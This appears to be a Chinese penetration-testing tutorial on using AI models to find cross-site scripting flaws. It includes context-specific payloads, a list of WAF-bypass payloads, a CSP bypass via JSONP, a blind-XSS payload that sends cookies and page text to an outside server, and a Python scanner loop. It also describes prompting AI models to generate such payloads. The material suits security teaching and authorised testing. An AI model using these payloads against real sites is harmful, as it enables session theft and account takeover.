一句话：XSS 的难点从来不是 payload，而是"找到那个会被渲染的输入点，并搞清它的输出上下文"。

一、XSS 挖掘的两个核心问题

找点：哪些参数会被回显到页面？（反射/存储/DOM）
定上下文：回显在 HTML 文本、属性、JS 字符串、还是 URL 里？

传统扫描器能做第 1 步，第 2 步经常误判——因为它只会无脑塞 <script>alert(1)</script>。

AI 能帮你精确定位上下文并生成对应 payload。

二、让 AI 做输出上下文分析

把响应片段喂给 AI：

# 输入
用户输入：`test123`
服务端响应片段：
```html
<input type="text" value="test123" data-id="5">
<script>var name = 'test123';</script>

任务

判断该输入出现在哪些输出上下文中
对每个上下文，给出最小的有效 XSS Payload
说明为什么其他上下文的 payload 在这里无效


AI 输出：

| 上下文 | 位置 | Payload | 说明 |
| --- | --- | --- | --- |
| HTML 属性（双引号内） | `value="..."` | `"><svg onload=alert(1)>` | 需先闭合属性再闭合标签 |
| JS 字符串（单引号内） | `'...'` | `';alert(1)//` | 闭合字符串即可 |

**关键点**：AI 能解释"为什么 `<script>alert(1)</script>` 在属性里无效"，这对新手极有价值。

## 三、DOM XSS 的 AI 辅助

DOM XSS 完全在浏览器端，扫描器很难处理。让 AI 分析 JS 代码：

```markdown
# 输入
前端 JS 代码：
```javascript
const hash = location.hash.slice(1);
document.getElementById('content').innerHTML = hash;

任务

判断是否存在 DOM XSS，给出触发 URL 和 payload。


AI 会直接给出：`https://target/#<img src=x onerror=alert(1)>`。

更进一步，让 AI 扫整个前端 bundle：

```markdown
# 任务
以下是前端打包后的 JS（可能被压缩）。找出所有
"source → sink" 组合：
source: location.hash/href/search, document.referrer, postMessage, window.name
sink: innerHTML, outerHTML, document.write, eval, setTimeout(string), setAttribute

输出可疑组合及触发路径。

AI 能读压缩代码（理解力强），这是它的优势场景。

四、WAF/CSP 绕过的 AI 生成

4.1 WAF 绕过

# 背景
WAF 拦截：`<script`、`onerror`、`alert`、`javascript:`
但未拦截：`<svg`、`<img`、`onload`、`confirm`、事件属性

# 任务
给出 10 条绕过 Payload，全部不包含被拦截的关键字。

典型输出：

<svg/onload=confirm(1)>
<img src=x onload=confirm(1)>
<details open ontoggle=confirm(1)>
<video><source onerror=confirm(1)>
<iframe srcdoc="<img src=1 onerror=confirm(1)>">
<xss id=x tabindex=1 onfocus=confirm(1)>
<body onpageshow=confirm(1)>
<input autofocus onfocus=confirm(1)>
<marquee onstart=confirm(1)>
<math><mtext><table><mglyph><style><!--</style><img src=1 onerror=confirm(1)>

4.2 CSP 绕过

# 背景
目标 CSP: 
script-src 'self' https://cdn.trusted.com; 
object-src 'none'; base-uri 'self'

# 任务
分析该 CSP 的弱点，给出绕过思路。

AI 会指出：

cdn.trusted.com 若是公共 CDN（如 jsdelivr/angular），可上传 JSONP 或 Angular 库绕过
若存在 JSONP 端点，可用 <script src="https://cdn.trusted.com/jsonp?callback=alert(1)//">
检查是否有 unsafe-inline 遗漏点

这类推理需要结合 CSP 规范和 CDN 生态知识，AI 表现很好。

五、盲打 XSS：AI 帮你构造外带 Payload

盲 XSS（Blind XSS）需要把数据外带到自己的服务器。

# 任务
构造一个盲 XSS Payload，要求：
1. 不依赖 alert（后台无交互）
2. 把 document.cookie、当前 URL、DOM 内容外带到 
   https://my-server.com/log
3. 尽量短，避免被长度限制截断
4. 兼容现代浏览器

AI 输出：

<script>fetch('https://my-server.com/log?c='+btoa(document.cookie+'|'+location.href)+'&d='+btoa(document.body.innerText.slice(0,500)))</script>

更短的：

<img src=x onerror="new Image().src='//my-server.com/l?'+btoa(document.cookie)">

六、存储型 XSS 的业务链路分析

让 AI 理解业务流程，找出"输入点"和"输出点"分离的场景：

# 输入
系统功能：
1. 用户提交工单（标题、内容）
2. 客服后台查看工单列表
3. 管理员导出工单为 HTML 报表

# 任务
分析哪个环节存在存储型 XSS，以及能否命中后台/管理员。

AI 会指出：导出 HTML 报表环节如果未转义，管理员打开报表即触发——这是典型的高价值存储型 XSS（打后台）。

七、自动化：把 AI 接进扫描流程

def ai_xss_scan(url, params):
    for param in params:
        # 1. 先发探针，获取输出上下文
        probe = "AI_PROBE_1337"
        resp = requests.get(url, params={param: probe})
        
        if probe not in resp.text:
            continue  # 不回显，跳过
        
        # 2. 提取上下文片段
        idx = resp.text.find(probe)
        context = resp.text[max(0, idx-200): idx+200]
        
        # 3. 让 AI 分析上下文并生成 payload
        payload = ai_generate_xss_payload(context, probe)
        
        # 4. 验证
        verify = requests.get(url, params={param: payload})
        if is_xss_executable(verify.text, payload):
            print(f"[XSS] {param} -> {payload}")

核心创新：不是盲猜 payload，而是基于实际输出上下文生成。误报率远低于传统扫描器。

八、小结

XSS 的 AI 增效点：

环节	传统方式	AI 方式
上下文判断	正则猜测	语义理解，准确
Payload 生成	字典穷举	按上下文定制
DOM XSS	基本放弃	读 JS 找 source/sink
CSP 绕过	靠经验	结合 CDN 生态推理
盲打	模板套用	按场景定制外带

下一篇：AI 辅助 SSRF 与越权挖掘。

系列文章：AI 渗透测试与漏洞挖掘实战